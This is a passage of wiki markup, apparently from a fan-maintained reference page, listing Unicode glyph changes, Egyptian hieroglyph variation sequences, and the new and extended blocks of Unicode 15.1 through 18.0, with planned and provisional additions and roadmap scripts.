|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
